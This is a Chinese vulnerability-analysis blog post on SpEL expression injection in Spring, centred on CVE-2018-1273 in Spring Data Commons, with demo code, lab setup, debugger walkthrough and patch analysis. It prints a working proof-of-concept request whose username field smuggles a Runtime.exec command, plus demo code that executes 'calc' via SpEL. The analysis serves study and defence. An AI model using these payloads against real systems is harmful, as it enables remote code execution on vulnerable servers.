【Java框架审计】SpringEL表达式注入漏洞分析

admin 2024年11月15日13:43:18评论21 views字数 4285阅读14分17秒阅读模式

本次分享视频讲解链接:

https://www.bilibili.com/video/BV1C84y1u7Tz/?spm_id_from=333.999.0.0&vd_source=16d23ba7b6eb72e7c4367ba62ab5e2a5

1、EvaluationContext包

EvaluationContext表示上下文环境,系统提供了2个EvaluationContext接口实现类。【Java框架审计】SpringEL表达式注入漏洞分析

  • StandardEvaluationContext:支持全部SpEL语法,在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext。

  • SimpleEvaluationContext:仅支持SpEL语言语法的一个子集,不包括Java类型引用、构造函数和bean引用。

SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext 接口实现类,而它包含了SpEL的所有功能,允许用户在可以控制输入的情况下成功造成任意代码执行。

例如:通过控制 SpEL 表达式执行命令

package expression;

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;

public class Demo {
   public static void main(String[] args) {
       test2();
  }

   //展示默认不指定context类型默认使用的是StandardEvaluationContext
   public static void test1(){
       String spel = "T(java.lang.Runtime).getRuntime().exec("calc")";
       ExpressionParser parser = new SpelExpressionParser();
       Expression expression = parser.parseExpression(spel);
       System.out.println(expression.getValue());
       //弹窗计算器,输出:java.lang.ProcessImpl@17d99928
  }

   //指定context为simpleEvaluationContext
   public static void test2(){
       String spel = "T(java.lang.Runtime).getRuntime().exec("calc")";
       ExpressionParser parser = new SpelExpressionParser();
       EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
       Expression expression = parser.parseExpression(spel);
       System.out.println(expression.getValue(context));
       //报错,输出:EL1005E: Type cannot be found 'java.lang.Runtime'
  }
}

2、CVE-2018-1273漏洞

2.1 漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。

漏洞描述:Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响范围:Spring Data Commons 1.13 to 1.13.10、Spring Data Commons 2.0 to 2.0.5、Spring Boot < 2.0.0 RELEASE

2.2 环境搭建

拉取开源项目:https://github.com/spring-projects/spring-data-examples

Springboot 2.0.0默认引用spring-data-commons是2.0.5版本,在pom.xml将其改为2.0.0版本。

【Java框架审计】SpringEL表达式注入漏洞分析加载maven拉取包:【Java框架审计】SpringEL表达式注入漏洞分析配置运行信息,启动web[spring-data-web-example]:【Java框架审计】SpringEL表达式注入漏洞分析【Java框架审计】SpringEL表达式注入漏洞分析

2.3 漏洞复现

在users注册页面输入信息点击提交,抓包修改post请求体为攻击POC如下:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=&password=&repeatedPassword=

【Java框架审计】SpringEL表达式注入漏洞分析详细请求包如下:

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.0.111:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: http://192.168.0.111:8080
Connection: close
Referer: http://192.168.0.111:8080/users
Upgrade-Insecure-Requests: 1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=&password=&repeatedPassword=

3、漏洞调试分析

1、功能点【Java框架审计】SpringEL表达式注入漏洞分析2、回溯调用栈,doDispatch()方法分发请求,调用handler,获取ModelandView【Java框架审计】SpringEL表达式注入漏洞分析【Java框架审计】SpringEL表达式注入漏洞分析3、modelFactory.initModel()方法找对应的路由初始化Mode【Java框架审计】SpringEL表达式注入漏洞分析4、将请求和model容器作为参数交给目标invokeAndHandle()方法controller处理【Java框架审计】SpringEL表达式注入漏洞分析5、解析属性,确定controller中约定的参数类型为userForm【Java框架审计】SpringEL表达式注入漏洞分析6、跟进org.springframework.data.web.ProxyingHandlerMethodArgumentResolver#createAttribute方法,这里对MapDataBinder对象进行了实例化,绑定请求即Map参数【Java框架审计】SpringEL表达式注入漏洞分析7、跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValues方法,while循环遍历PropertyValues数组【Java框架审计】SpringEL表达式注入漏洞分析8、随之调用setPropertyValue()方法对数组信息进行处理【Java框架审计】SpringEL表达式注入漏洞分析9、isWritableProperty()对propertyName进行有效性校验【Java框架审计】SpringEL表达式注入漏洞分析10、在UserForm类型中找不到相应property则返回false【Java框架审计】SpringEL表达式注入漏洞分析【Java框架审计】SpringEL表达式注入漏洞分析11、Property值为username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]【Java框架审计】SpringEL表达式注入漏洞分析12、经过isWritableProperty()判断时,对propertyName通过正则匹配进行特殊字符截断,仅留截断剩余的部分,传入的plainPropertyPath变成了username字符串【Java框架审计】SpringEL表达式注入漏洞分析13、全选135行,右击Evaluate功能,看到匹配到了UserForm.username属性【Java框架审计】SpringEL表达式注入漏洞分析【Java框架审计】SpringEL表达式注入漏洞分析14、与之匹配的type其实是代码controller中定义的UserForm可接收参数类型【Java框架审计】SpringEL表达式注入漏洞分析【Java框架审计】SpringEL表达式注入漏洞分析15、propertyName有内容,自然看到isWritableProperty(propertyName)的返回值为True【Java框架审计】SpringEL表达式注入漏洞分析16、值为True在setPropertyValue()中可继续执行解析代码【Java框架审计】SpringEL表达式注入漏洞分析17、执行到setValue()方法,看到解析器上下文是StandardEvaluationContext类【Java框架审计】SpringEL表达式注入漏洞分析18、继续跟进获取value变量值的过程,使用getValueInternal()方法【Java框架审计】SpringEL表达式注入漏洞分析19、反射获取到java.lang.Runtime.exec()构造器,传递的arguments值为calc命令【Java框架审计】SpringEL表达式注入漏洞分析【Java框架审计】SpringEL表达式注入漏洞分析

4、漏洞补丁分析

在 Spring Data Commons 2.0.6 版本开始,官方将创建 context 对象的实现类从 StandardEvaluationContext 方法替代为 SimpleEvaluationContext 方法,从而阻止了Java类型引用、构造函数和bean引用。

参考链接:https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653【Java框架审计】SpringEL表达式注入漏洞分析

原文始发于微信公众号(ZackSecurity):【Java框架审计】SpringEL表达式注入漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月15日13:43:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【Java框架审计】SpringEL表达式注入漏洞分析https://cn-sec.com/archives/1649042.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息